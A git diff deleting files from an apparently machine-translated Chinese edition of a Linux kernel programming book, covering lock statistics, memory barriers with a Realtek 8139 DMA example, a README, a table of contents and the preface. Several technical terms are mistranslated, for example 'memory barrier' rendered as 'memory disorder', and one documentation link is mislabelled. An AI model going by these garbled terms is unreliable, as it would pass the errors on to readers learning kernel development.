writing) merged into the 5.8 kernel: the **Kernel Concurrency Sanitizer** (**KCSAN**). It's a data race detector for the Linux kernel that works via compile-time instrumentation. You can find more details in these LWN articles: *Finding race conditions with KCSAN*, LWN, October 2019 ([https://lwn.net/Articles/802128/](https://lwn.net/Articles/802128/)) and *Concurrency bugs should fear the big bad data-race detector (part 1)*, LWN, April 2020 ([https://lwn.net/Articles/816850/](https://lwn.net/Articles/816850/)). - -Also, FYI, several tools do exist for catching locking bugs and deadlocks in *user space apps*. Among them are the well-known `helgrind` (from the Valgrind suite), **TSan** (**Thread Sanitizer**), which provides compile-time instrumentation to check for data races in multithreaded applications, and lockdep itself; lockdep can be made to work in user space as well (as a library)! Moreover, the modern [e]BPF framework provides the `deadlock-bpfcc(8)` frontend. It's designed specifically to find potential deadlocks (lock order inversions) in a given running process (or thread). - -## 锁定统计信息 - -一个锁可以被*争夺*,也就是当一个上下文想要获取锁,但是它已经被占用了,所以它必须等待解锁发生。严重的争用会造成严重的性能瓶颈;内核通过视图*提供锁统计信息,以便轻松识别竞争激烈的锁*。通过打开`CONFIG_LOCK_STAT`内核配置选项来启用锁统计(如果没有这个选项,`/proc/lock_stat`条目将不存在,这是大多数发行版内核的典型情况)。 - -锁定统计代码利用了这样一个事实,即`lockdep`将钩子插入到锁定代码路径中(`__contended`、`__acquired`和`__released`钩子),以在这些关键点收集统计数据。关于锁统计的简洁的内核文档([https://www . kernel . org/doc/html/latest/lockstat . html # lock-statistics](https://www.kernel.org/doc/html/latest/locking/lockstat.html#lock-statistics))用一个有用的状态图传达了这个信息(以及更多的信息);一定要查一下。 - -### 查看锁定状态 - -查看锁统计信息的几个快速提示和基本命令如下(当然,这假设`CONFIG_LOCK_STAT`打开): - -| **做什么?** | **命令** | -| 清除锁定状态 | `sudo sh -c "echo 0 > /proc/lock_stat"` | -| 启用锁定状态 | `sudo sh -c "echo 1 > /proc/sys/kernel/lock_stat"` | -| 禁用锁定统计信息 | `sudo sh -c "echo 0 > /proc/sys/kernel/lock_stat"` | - -接下来,一个查看锁定统计数据的简单演示:我们编写了一个非常简单的 Bash 脚本,`ch13/3_lockdep/lock_stats_demo.sh`(在本书的 GitHub repo 中查看它的代码)。它清除并启用锁定统计,然后简单地运行`cat /proc/self/cmdline`命令。这实际上会触发一系列代码深入内核(主要在`fs/proc`内部);需要查找几个全局共享的可写数据结构。这将构成一个关键部分,因此将获得锁。我们的脚本将禁用锁统计信息,然后对锁统计信息进行 grep 以查看一些锁,过滤掉其余的锁: - -```sh -egrep "alloc_lock|task|mm" /proc/lock_stat -``` - -在运行它时,我们获得的输出如下(同样,在运行我们定制的 5.4.0 调试内核的 x86_64 Ubuntu 20.04 LTS 虚拟机上): - -![](img/20d96e77-c316-468f-b4d2-5eb8cd5cb015.png) - -Figure 7.11 – Screenshot showing our lock_stats_demo.sh script running, displaying some of the lock statistics - -(图 7.11 中*的输出水平方向很长,因此会缠绕。)显示的时间以微秒为单位。`class name`字段是锁类;我们可以看到几个与任务和内存结构相关的锁(`task_struct`和`mm_struct`)!我们不再重复这些材料,而是让您参考关于锁统计的内核文档,它解释了前面的每个字段(`con-bounces`、`waittime*`等等;提示:`con`是争夺的简称)以及如何解读输出。不出所料,在*图 7.11* 中看到,在这个简单的情况下,如下:* - -* 第一个字段`class_name`是锁类;锁的(符号)名称可以在这里看到。 -* 锁(字段 2 和 3)确实没有争用。 -* 等待时间(`waittime*`,字段 3 至 6)为 0。 -* `acquisitions`字段(#9)是获取(获取)锁的总次数;它是正的(mm_struct 信号量`&mm->mmap_sem*`甚至超过 300)。 - -* 最后四个字段,10 到 13,是累计锁保持时间统计(`holdtime-{min|max|total|avg}`)。同样,在这里,您可以看到 mm_struct `mmap_sem*`锁具有最长的平均保持时间。 -* (请注意,任务结构名为`alloc_lock`的自旋锁也被采用;我们在*示例 1 中遇到了这个问题——使用 lockdep* 部分捕获了一个自身死锁错误。 - -The most contended locks on the system can be looked up via `sudo grep ":" /proc/lock_stat | head`. Of course, you should realize that this is from when the locking statistics were last reset (cleared). - -请注意,由于锁定调试被禁用,锁定统计信息可能被禁用;例如,您可能会遇到这种情况: - -```sh -$ sudo cat /proc/lock_stat -lock_stat version 0.4 -*WARNING* lock debugging disabled!! - possibly due to a lockdep warning -``` - -此警告可能需要您重新启动系统。 - -好了,你快到了!让我们以对记忆障碍的简单介绍来结束这一章。 - -# 记忆障碍-简介 - -最后但同样重要的是,让我们简要地解决另一个问题——记忆障碍。这是什么意思?有时,当微处理器、内存控制器和编译器*可以重新排序*内存读写时,程序流对于人类程序员变得未知。在大多数情况下,这些“技巧”保持良性和优化。但是在某些情况下——通常跨越硬件边界,例如多核系统上的 CPU 内核、CPU 到外围设备,以及在**单处理器** ( **UP** )上反之亦然——这种重新排序*不应该发生*;必须遵守原始和预期的内存加载和存储顺序。*内存屏障*(通常是嵌入在`*mb*()`宏中的机器级指令)是抑制这种重新排序的一种手段;这是一种强制 CPU/内存控制器和编译器按照所需顺序对指令/数据进行排序的方法。 - -可以使用以下宏将内存屏障置于代码路径中:`#include `: - -* `rmb()`:在指令流中插入读取(或加载)内存屏障 -* `wmb()`:在指令流中插入写(或存储)内存屏障 -* `mb()`:一般记忆障碍;直接引用内存屏障的内核文档([https://www . kernel . org/doc/Documentation/memory-barrier . txt](https://www.kernel.org/doc/Documentation/memory-barriers.txt)),“*一般的内存屏障保证屏障之前指定的所有 LOAD 和 STORE 操作都将出现在屏障之后指定的所有 LOAD 和 STORE 操作之前,相对于系统的其他组件*” - -内存屏障确保除非前面的指令或数据访问执行,否则后面的指令或数据访问不会执行,从而保持顺序。在一些(罕见的)情况下,DMA 是可能的,驱动程序作者使用内存障碍。使用 DMA 时,阅读内核文档([https://www.kernel.org/doc/Documentation/DMA-API-HOWTO.txt](https://www.kernel.org/doc/Documentation/DMA-API-HOWTO.txt))很重要。它提到了在哪里使用记忆障碍,以及不使用它们的危险;有关这方面的更多信息,请参见下面的示例。 - -对于我们许多人来说,内存屏障的放置通常是一件相当复杂的事情,因此我们敦促您参考相关的技术参考手册,了解更多详细信息。比如在树莓 Pi 上,SoC 是博通 BCM2835 系列;参考其外设手册-*BCM 2835 ARM 外设*手册([https://www . raspberrypi . org/app/uploads/2012/02/BCM 2835-ARM-外设. pdf](https://www.raspberrypi.org/app/uploads/2012/02/BCM2835-ARM-Peripherals.pdf) ),第 1.3 节,*正确内存排序的外设访问注意事项*-有助于理清何时以及何时不使用内存屏障。 - -## 在设备驱动程序中使用内存屏障的示例 - -以 Realtek 8139“快速以太网”网络驱动程序为例。为了通过 DMA 传输网络数据包,必须首先设置一个 DMA(传输)描述符对象。对于这个特定的硬件(网卡芯片),DMA 描述符对象定义如下: - -```sh -//​ drivers/net/ethernet/realtek/8139cp.c -struct cp_desc { - __le32 opts1; - __le32 opts2; - __le64 addr; -}; -``` - -DMA 描述符对象,命名为`struct cp_desc`,有三个“字”每个都必须初始化。现在,为了确保描述符被直接存储器存取控制器正确解释,对直接存储器存取描述符的写入按照驱动程序作者想要的顺序来看通常是至关重要的。为了保证这一点,使用了内存屏障。事实上,相关的内核文档-*动态 DMA 映射指南*([https://www.kernel.org/doc/Documentation/DMA-API-HOWTO.txt](https://www.kernel.org/doc/Documentation/DMA-API-HOWTO.txt))告诉我们要确保确实如此。因此,例如,在设置 DMA 描述符时,您必须按如下方式进行编码,以在所有平台上获得正确的行为: - -```sh -desc->word0 = address; -wmb(); -desc->word1 = DESC_VALID; -``` - -因此,请查看 DMA 传输描述符实际上是如何设置的(通过 Realtek 8139 驱动程序代码,如下所示): - -```sh -// drivers/net/ethernet/realtek/8139cp.c -[ ... ] -static netdev_tx_t cp_start_xmit([...]) -{ - [ ... ] - len = skb->len; - mapping = dma_map_single(&cp->pdev->dev, skb->data, len, PCI_DMA_TODEVICE); - [ ... ] - struct cp_desc *txd; - [ ... ] - txd->opts2 = opts2; - txd->addr = cpu_to_le64(mapping); - wmb(); - opts1 |= eor | len | FirstFrag | LastFrag; - txd->opts1 = cpu_to_le32(opts1); - wmb(); - [...] -``` - -驱动程序根据芯片数据表的要求,要求将单词`txd->opts2`和`txd->addr`存储到内存中,然后存储`txd->opts1`单词。由于*这些写操作的顺序很重要*,驱动程序利用了`wmb()`写内存屏障。(另外,仅供参考,RCU 肯定是使用适当的内存屏障来强制内存排序的用户。) - -此外,在单个变量*上使用`READ_ONCE()`和`WRITE_ONCE()`宏绝对保证编译器和中央处理器会按照你的意思做*。它将根据需要排除编译器优化,根据需要使用内存屏障,并在不同内核上的多个线程同时访问有问题的变量时保证缓存一致性。 - -有关详细信息,请参考内存屏障的内核文档([https://www.kernel.org/doc/Documentation/DMA-API-HOWTO.txt](https://www.kernel.org/doc/Documentation/DMA-API-HOWTO.txt))。它有一个名为*的详细章节,在那里需要记忆障碍?*。好消息是,大部分都是在幕后处理的;对于驱动程序作者来说,只有在执行设置 DMA 描述符或启动和结束 CPU 到外设(反之亦然)的通信等操作时,您才可能需要屏障。 - -最后一件事——一个(不幸的)常见问题:使用`volatile`关键字会神奇地让并发问题消失吗?当然不是。`volatile`关键字只是指示编译器禁用围绕该变量的常见优化(代码路径之外的东西也可以修改标记为`volatile`的变量),仅此而已。在与 MMIO 合作时,这通常是必需且有用的。关于内存障碍,有趣的是,编译器不会对标记为`volatile`的变量相对于其他易失性变量的读写进行重新排序。尽管如此,原子性是一个独立的构造,而不是通过使用`volatile`关键字来保证的。 - -# 摘要 - -好吧,你知道什么!?恭喜你,你做到了,你完成了这本书! - -在这一章中,我们继续上一章的探索,以了解更多关于内核同步的知识。在这里,您学习了如何通过`atomic_t`和更新的`refcount_t`接口更有效和安全地对整数执行锁定。在本课程中,您学习了如何在驱动程序作者的常见活动中自动安全地使用典型的 RMW 序列——更新设备的寄存器。读者-作者自旋锁,有趣和有用,尽管有几个警告,然后涵盖。您看到了错误地创建由不幸的缓存副作用引起的不利性能问题是多么容易,包括查看错误共享问题以及如何避免它。 - -对开发人员的一个好处——无锁算法和编程技术——随后被详细介绍,重点是 Linux 内核中的每 CPU 变量。仔细学习如何使用这些是很重要的(尤其是像 RCU 这样更高级的形式)。最后,您了解了什么是记忆障碍,以及它们通常在哪里使用。 - -您在 Linux 内核(以及相关领域,如设备驱动程序)中的漫长工作之旅现在已经认真开始了。但是,要意识到,如果没有持续的实践和对这些材料的实际操作,果实会很快消失...我敦促你与这些话题和其他话题保持联系。随着你知识和经验的增长,为 Linux 内核(或者任何开源项目)做贡献是一种高尚的努力,你最好去做。 - -# 问题 - -作为我们的总结,这里有一个问题列表,供您测试您对本章材料的知识:[https://github . com/packt publishing/Linux-Kernel-Programming/tree/master/questions](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions)。你会在这本书的 GitHub repo 中找到一些问题的答案:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions _ to _ assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn)。 - -# 进一步阅读 - -为了帮助您用有用的材料更深入地研究这个主题,我们在本书的 GitHub 存储库中的进一步阅读文档中提供了一个相当详细的在线参考资料和链接列表(有时甚至是书籍)。*进一步阅读*文档可在此处获得:[https://github . com/packt publishing/Linux-Kernel-Programming/blob/master/进一步阅读. md](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/Further_Reading.md) 。* \ No newline at end of file diff --git a/docs/linux-kernel-prog-pt2/README.md b/docs/linux-kernel-prog-pt2/README.md deleted file mode 100644 index 2bce0996..00000000 --- a/docs/linux-kernel-prog-pt2/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# Linux 内核编程第二部分 - -> 原文:[Linux Kernel Programming Part 2](https://libgen.rs/book/index.php?md5=066F8708F0154057BE24B556F153766F) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/linux-kernel-prog-pt2/SUMMARY.md b/docs/linux-kernel-prog-pt2/SUMMARY.md deleted file mode 100644 index ef2db1fc..00000000 --- a/docs/linux-kernel-prog-pt2/SUMMARY.md +++ /dev/null @@ -1,11 +0,0 @@ -+ [Linux 内核编程第二部分](README.md) -+ [零、前言](0.md) -+ [第一部分:字符设备驱动基础](sec1.md) - + [一、编写简单的杂项字符设备驱动](1.md) - + [二、用户内核通信路径](2.md) - + [三、使用硬件 IO 内存](3.md) - + [四、处理硬件中断](4.md) - + [五、使用内核定时器、线程和工作队列](5.md) -+ [第二部分:深入研究](sec2.md) - + [六、内核同步——第一部分](6.md) - + [七、内核同步——第二部分](7.md) diff --git a/docs/linux-kernel-prog-pt2/sec1.md b/docs/linux-kernel-prog-pt2/sec1.md deleted file mode 100644 index 86b0d138..00000000 --- a/docs/linux-kernel-prog-pt2/sec1.md +++ /dev/null @@ -1,11 +0,0 @@ -# 第一部分:字符设备驱动基础 - -这里,我们将介绍什么是设备驱动程序、名称空间、 **Linux 设备模型** ( **LDM** )基础知识以及角色设备驱动程序框架。我们将实现简单的`misc`驱动程序(利用内核的`misc`框架)。我们将建立用户和内核空间之间的通信(通过各种接口,如`debugfs`、`sysfs`、`netlink`插座和`ioctl`)。您将学习如何在外围芯片上使用硬件输入/输出内存,以及理解和处理硬件中断。您还将学习如何使用内核特性,如内核级计时器、创建内核线程和使用工作队列。 - -本节包括以下章节: - -* [第 1 章](1.html),*编写简单的杂项字符设备驱动程序* -* [第二章](2.html)、*用户-内核通信路径* -* [第 3 章](3.html),*使用硬件输入/输出存储器* -* [第 4 章](4.html),*处理硬件中断* -* [第 5 章](5.html)、*使用内核定时器、线程和工作队列* \ No newline at end of file diff --git a/docs/linux-kernel-prog-pt2/sec2.md b/docs/linux-kernel-prog-pt2/sec2.md deleted file mode 100644 index 587059b6..00000000 --- a/docs/linux-kernel-prog-pt2/sec2.md +++ /dev/null @@ -1,8 +0,0 @@ -# 第二部分:深入研究 - -在这里,您将了解一个高级且关键的主题:内核同步技术和 API 背后的概念、需求和使用。 - -本节包括以下章节: - -* [第 6 章](6.html),*内核同步-第 1 部分* -* [第 7 章](7.html),*内核同步-第 2 部分* \ No newline at end of file diff --git a/docs/linux-kernel-prog/00.md b/docs/linux-kernel-prog/00.md deleted file mode 100644 index ad0d1d7a..00000000 --- a/docs/linux-kernel-prog/00.md +++ /dev/null @@ -1,140 +0,0 @@ -# 零、前言 - -这本书的明确目的是帮助你以一种实用的、动手的方式学习 Linux 内核开发,以及必要的理论背景,让你对这个广阔而有趣的主题领域有一个全面的了解。它特意通过强大的**可加载内核模块** ( **LKM** )框架关注内核开发;绝大多数内核项目和产品,包括设备驱动程序开发,都是以这种方式完成的。 - -重点在于对 Linux 操作系统内部的实际操作和足够深入的理解。在这些方面,我们涵盖了从源代码构建 Linux 内核到理解和处理复杂主题(如内核内的同步)的所有内容。 - -为了引导你踏上这段激动人心的旅程,我们将这本书分为三个部分。第一部分涵盖了基础知识——设置内核开发所需的工作空间,从源代码构建内核,以及编写第一个内核模块。 - -下一部分,一个关键的部分,将帮助您理解重要和基本的内核内部 Linux 内核架构、任务结构、用户和内核模式堆栈。内存管理是一个关键而有趣的话题——我们用了整整三章的时间来讨论它(充分覆盖了内部,重要的是,如何准确地分配任何空闲的内核内存)。Linux 上 CPU 调度的工作细节和更深层次的细节完成了这一部分。 - -这本书的最后一部分讨论了更高级的内核同步主题——在 Linux 内核上进行专业设计和代码的必要性。我们用两个完整的章节来讨论其中的关键主题。 - -本书在编写时使用了最新的 5.4 **长期支持** ( **LTS** ) Linux 内核。这是一个将从 2019 年 11 月一直维护到 2025 年 12 月的内核(包括 bug 和安全修复)!这是一个关键点,确保这本书的内容在未来几年保持最新和有效! - -我们非常相信实践方法:这本书的 GitHub 存储库中有超过 20 个内核模块(除了几个用户应用和 shell 脚本),让学习变得生动起来,使它变得有趣、有趣和有用。 - -我们强烈建议您也利用本书的配套指南 *Linux 内核编程(第 2 部分)*。 - -这是一本优秀的面向行业的初学者指南,用于编写`misc`字符驱动程序、在外围芯片内存上执行 I/O 以及处理硬件中断。你可以免费得到这本书和你的副本,或者你也可以在 GitHub 知识库中找到这本书,网址是:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/Linux-Kernel-Programming-(Part-2)](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/Linux-Kernel-Programming-(Part-2))。 - -我们真的希望你能从这本书中学到东西并喜欢它。快乐阅读! - -# 这本书是给谁的 - -这本书主要是为那些在 Linux 内核模块开发以及某种程度上 Linux 设备驱动程序开发的广阔舞台上开始旅程的人准备的。它也非常针对那些已经在研究 Linux 模块和/或驱动程序的人,他们希望对 Linux 内核体系结构、内存管理和同步有更深入、更好的理解。当你面对难以调试的现实情况时,这种关于底层操作系统的知识水平,以适当的结构化方式覆盖,将帮助你无止境。 - -# 这本书涵盖了什么 - -[第 1 章](01.html)、*内核工作区设置*,指导您设置成熟的 Linux 内核开发工作区(通常是作为完全虚拟化的客户系统)。您将学习如何在其上安装所有必需的软件包,包括交叉工具链。您还将了解其他几个开源项目,这些项目将有助于您成为专业的内核/驱动程序开发人员。完成本章后,您将准备好构建一个 Linux 内核,并开始编写和测试内核代码(通过可加载内核模块框架)。在我们看来,对你来说,以实际操作的方式使用这本书,尝试和试验代码是非常重要的。最好的学习方法是凭经验去做——根本不相信任何人的话,而是自己去尝试和体验。 - -[第 2 章](02.html)、*从源代码构建 5.x Linux 内核–第 1 部分*,是解释如何用源代码从头构建现代 Linux 内核的第一部分。在这一部分中,您将在内核源代码树中获得必要的背景信息——版本命名、不同的源代码树、内核源代码的布局。接下来,将向您详细展示如何将稳定的普通 Linux 内核源代码树下载到虚拟机上。然后,我们将学习一些关于内核源代码的布局,实际上,获得内核代码库的“10,000 英尺视图”。接下来是提取和配置 Linux 内核的实际工作。还显示了为内核配置创建和使用自定义菜单项。 - -[第 3 章](03.html)、*从源代码构建 5.x Linux 内核–第 2 部分*,是关于从源代码执行内核构建的第二部分。在这一部分中,您将继续上一章,现在实际构建内核,安装内核模块,了解什么是`initramfs` ( `initrd`)以及如何生成它,以及设置引导加载程序(对于 x86)。此外,作为一个有价值的附加组件,本章然后解释了如何为典型的嵌入式 ARM 目标交叉编译内核(使用流行的树莓 Pi 作为目标设备)。还提到了关于内核构建,甚至内核安全性(强化)的一些技巧和窍门。 - -[第 4 章](04.html)、*编写你的第一个内核模块——LKMs 第 1 部分*,是两部分的第一部分,这两部分涵盖了 Linux 内核开发的一个基本方面——LKM 框架,以及内核模块或设备驱动程序程序员如何被“模块用户”理解和使用。它涵盖了 Linux 内核架构的基础知识,然后非常详细地介绍了编写一个简单的“Hello,world”内核模块、编译、插入、检查和从内核空间中移除它所涉及的每一步。我们还详细介绍了通过无处不在的 printk API 进行内核日志记录。 - -[第 5 章](05.html)、*编写您的第一个内核模块——LKMs 第 2 部分*,是涵盖 LKM 框架的第二部分。在这里,我们从一些关键的东西开始——学习如何使用“更好的”Makefile,这将帮助您生成更健壮的代码(有几个代码检查、纠正、静态分析目标,等等)。然后,我们详细展示了成功交叉编译替代体系结构的内核模块的步骤,如何在内核中模拟“类库”代码(通过“链接”和模块堆叠方法),定义和使用传递参数到内核模块。其他主题包括引导时模块的自动加载、重要的安全指南,以及一些关于内核文档和如何访问它的信息。几个示例内核模块使学习更加有趣。 - -[第 6 章](06.html)、*内核内部要素–进程和线程、*深入研究了一些基本的内核内部主题。我们从什么是进程和中断上下文中的执行,以及进程用户**虚拟地址空间** ( **VAS** )布局的最小但必需的覆盖范围开始。这为你搭建了舞台;然后,您将更深入地了解 Linux 内核架构,重点关注进程/线程任务结构的组织及其对应的堆栈——用户模式和内核模式。然后,我们将向您展示更多关于内核任务结构(一个“根”数据结构)的内容,以及如何从其中收集信息,甚至迭代各种(任务)列表。几个内核模块让这个话题变得生动起来。 - -[第 7 章](07.html),*内存管理内部构件–要点,*这是一个关键章节,深入研究了 Linux 内存管理子系统的基本内部构件,达到了典型模块作者或驱动程序开发人员所需的详细程度。因此,这种覆盖本质上必然更具理论性;尽管如此,在这里获得的知识对于您(内核开发人员)来说是至关重要的,对于深入理解和使用适当的内核内存 API 以及在内核级别执行有意义的调试都是如此。我们介绍了虚拟机拆分(以及它在各种实际架构中的表现),深入了解了用户增值服务(我们的 procmap 实用程序将会大开眼界),以及内核部分(或内核增值服务)。然后,我们简要地研究了内存布局随机化的安全技术(ASLR),并在本章的最后讨论了 Linux 中的物理内存组织。 - -[第 8 章](08.html),*模块作者的内核内存分配第 1 部分,*用内核内存分配(显然也是解除分配)API 弄脏我们的手。您将首先了解 Linux 中的两个分配“层”——位于内核内存分配“引擎”之上的平板分配器和页面分配器(或 BSA)。我们将简要了解页面分配器算法及其“自由列表”数据结构的基础;在决定使用哪一层时,这些信息很有价值。接下来,我们直接进入学习这些关键 API 用法的实践工作。涵盖了 slab 分配器(或缓存)和主要内核分配器 APIs 即`kzalloc`/`kfree`—背后的思想。重要的是,使用这些通用 API 时的大小限制、缺点和注意事项也有详细介绍。另外,对驱动程序作者特别有用的是,我们介绍了内核的现代资源管理内存分配 API(T2 例程)。 - -[第 9 章](09.html)、*模块作者的内核内存分配第 2 部分*,在逻辑上比前一章更进一步。在这里,您将学习如何创建自定义的 slab 缓存(例如,对于自定义驱动程序的高频(de)分配很有用),以及一些关于调试 slab 层内存分配的帮助。接下来,您将了解并使用`vmalloc()` API(和朋友)。非常重要的是,在介绍了内核内存(de)分配的许多 API 之后,您现在将了解如何根据您所处的现实环境选择合适的 API。本章以内核的**内存不足** ( **OOM** )“杀手级”框架的重要内容结束。通过按需分页技术,理解它还将导致对用户空间内存分配真正如何工作的更深入的理解。 - -[第 10 章](10.html)、*CPU 调度器-第 1 部分*,两章的第一部分,涵盖了 Linux 操作系统上 CPU 调度的理论和实践的有益结合。KSE 和可用内核调度策略等线程的最基本的必要理论背景是最初涉及的主题。接下来,我们将介绍关于 CPU 调度的足够多的内核内部细节,让您了解现代 Linux 操作系统上的调度是如何工作的。一路走来,你将学会如何用 perf 等强大的工具“可视化”PU 调度;还深入研究了线程调度属性(策略和实时优先级)。 - -[第 11 章](11.html)、*CPU 调度程序–第 2 部分,*关于 CPU 调度的第二部分,继续更深入地讲述这个主题。在这里,我们将进一步介绍用于 CPU 调度的可视化工具(利用强大的软件,如 LTTng 和 trace-cmd 实用程序)。接下来是 CPU 相似性掩码以及如何查询/设置它,在每个线程的基础上控制调度策略和优先级——如此强大的功能!深入研究。可以看到控制组(cggroups)的含义和重要性的概述,以及通过 cgroups v2 分配 CPU 带宽的有趣示例。你能像 RTOS 一样运行 Linux 吗?你的确可以!然后显示实际这样做的细节。我们在这一章的最后讨论了(调度)延迟以及如何测量它们。 - -[第 12 章](12.html)、*内核同步–第 1 部分*,首先涵盖了关于关键部分、原子性、锁在概念上实现了什么以及非常重要的是,所有这些的原因的关键概念。然后,当在 Linux 内核中工作时,我们将讨论并发问题;这让我们自然而然地转向重要的锁定准则、死锁的含义以及防止死锁的关键方法。两种最流行的内核锁定技术——互斥锁和自旋锁——以及几个(驱动程序)代码示例将被深入讨论。 - -[第 13 章](13.html)、*内核同步–第 2 部分*,继续内核同步之旅。在这里,您将了解键锁定优化——使用轻量级原子操作符和(最近的)refcount 操作符来安全地操作整数,使用 RMW 位操作符来安全地执行位操作,以及读写自旋锁的使用。还讨论了固有风险,如缓存“错误共享”。然后介绍了无锁编程技术的概述(重点是每 CPU 变量及其用法,以及示例)。接下来将讨论一个关键的主题——锁调试技术,包括使用内核强大的“lockdep”锁验证器。这一章的结尾是对记忆障碍的简要介绍(以及一个例子)。 - -# 充分利用这本书 - -为了充分利用这本书,我们希望您具备以下方面的知识和经验: - -* 在命令行(Shell)上熟悉 Linux 系统。 -* C 编程语言。 -* 这不是强制性的,但是对 Linux 系统编程概念和技术的经验会有很大帮助。 - -在[第 1 章](01.html)、*内核工作区设置*中,详细介绍了硬件和软件要求及其安装。重要的是你要详细阅读它,并遵循其中的说明。 - -此外,我们已经在这些平台上测试了本书中的所有代码(它也有自己的 GitHub 存储库): - -* x86_64 Ubuntu 18.04 LTS 来宾操作系统(运行在甲骨文虚拟桌面 6.1 上) -* x86_64 Ubuntu 20.04.1 LTS 来宾操作系统(运行在甲骨文虚拟桌面 6.1 上) -* x86_64 Ubuntu 20.04.1 LTS 本地操作系统 -* ARM 树莓 Pi 3B+(运行其“发行版”内核以及我们定制的 5.4 内核);轻度测试 -* x86_64 CentOS 8 来宾操作系统(运行在 Oracle VirtualBox 6.1 上);轻度测试 - -我们假设,当作为来宾(VM)运行 Linux 时,主机系统要么是 Windows 10 或更高版本(当然,即使是 Windows 7 也能工作),要么是最近的 Linux 发行版(例如,Ubuntu 或 Fedora),甚至是 macOS。 - -**如果您正在使用本书的数字版本,我们建议您自己键入代码,或者更好的是,通过 GitHub 存储库(下一节中提供的链接)访问代码。这样做将帮助您避免任何与复制和粘贴代码相关的潜在错误。** - -我强烈建议你遵循*经验主义的方法:不要相信任何人的话,而是自己去尝试和体验。*因此,这本书给了你许多你可以而且必须亲自尝试的实践实验和内核代码示例;这将极大地帮助您取得真正的进步,并深入学习和理解 Linux 内核开发的各个方面。 - -## 下载示例代码文件 - -你可以在[https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Linux-Kernel-Programming)从 GitHub 下载这本书的示例代码文件。如果代码有更新,它将在现有的 GitHub 存储库中更新。 - -我们还有来自丰富的图书和视频目录的其他代码包,可在**[【https://github.com/PacktPublishing/】](https://github.com/PacktPublishing/)**获得。看看他们! - -## 下载彩色图像 - -我们还提供了一个 PDF 文件,其中包含本书中使用的截图/图表的彩色图像。可以在这里下载:[http://www . packtpub . com/sites/default/files/downloads/9781789953435 _ color images . pdf](_ColorImages.pdf)。 - -## 使用的约定 - -本书通篇使用了许多文本约定。 - -`CodeInText`:表示文本中的码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟网址、用户输入和推特句柄。这里有一个例子:“应用编程接口返回一个 T2 类型的 KVA(因为它是一个地址位置)” - -代码块设置如下: - -```sh -static int __init miscdrv_init(void) -{ - int ret; - struct device *dev; -``` - -当我们希望将您的注意力吸引到代码块的特定部分时,相关的行或项目以粗体显示: - -```sh -#define pr_fmt(fmt) "%s:%s(): " fmt, KBUILD_MODNAME, __func__ -[...] -#include -#include -[...] -``` - -任何命令行输入或输出都编写如下: - -```sh -pi@raspberrypi:~ $ sudo cat /proc/iomem -``` - -**粗体**:表示一个新的术语、一个重要的单词或者你在屏幕上看到的单词。例如,菜单或对话框中的单词像这样出现在文本中。下面是一个示例:“从管理面板中选择系统信息。” - -Warnings or important notes appear like this. Tips and tricks appear like this. - -# 取得联系 - -我们随时欢迎读者的反馈。 - -**一般反馈**:如果你对这本书的任何方面有疑问,在你的信息主题中提到书名,发邮件给我们`customercare@packtpub.com`。 - -**勘误表**:虽然我们已经尽了最大的努力来保证内容的准确性,但是错误还是会发生。如果你在这本书里发现了一个错误,如果你能向我们报告,我们将不胜感激。请访问[www.packtpub.com/support/errata](https://www.packtpub.com/support/errata),选择您的图书,点击勘误表提交链接,并输入详细信息。 - -**盗版**:如果您在互联网上遇到任何形式的我们作品的非法拷贝,如果您能提供我们的位置地址或网站名称,我们将不胜感激。请通过`copyright@packt.com`联系我们,并提供材料链接。 - -**如果你有兴趣成为一名作者**:如果有一个你有专长的话题,你有兴趣写或者投稿一本书,请访问[authors.packtpub.com](http://authors.packtpub.com/)。 - -## 复习 - -请留下评论。一旦你阅读并使用了这本书,为什么不在你购买它的网站上留下评论呢?然后,潜在的读者可以看到并使用您不带偏见的意见来做出购买决定,我们在 Packt 可以了解您对我们产品的看法,我们的作者可以看到您对他们的书的反馈。谢谢大家! - -更多关于 Packt 的信息,请访问[packt.com](http://www.packt.com/)。 \ No newline at end of file diff --git a/docs/linux-kernel-prog/01.md b/docs/linux-kernel-prog/01.md deleted file mode 100644 index a028f155..00000000 --- a/docs/linux-kernel-prog/01.md +++ /dev/null @@ -1,557 +0,0 @@ -# 一、内核工作空间的设置 - 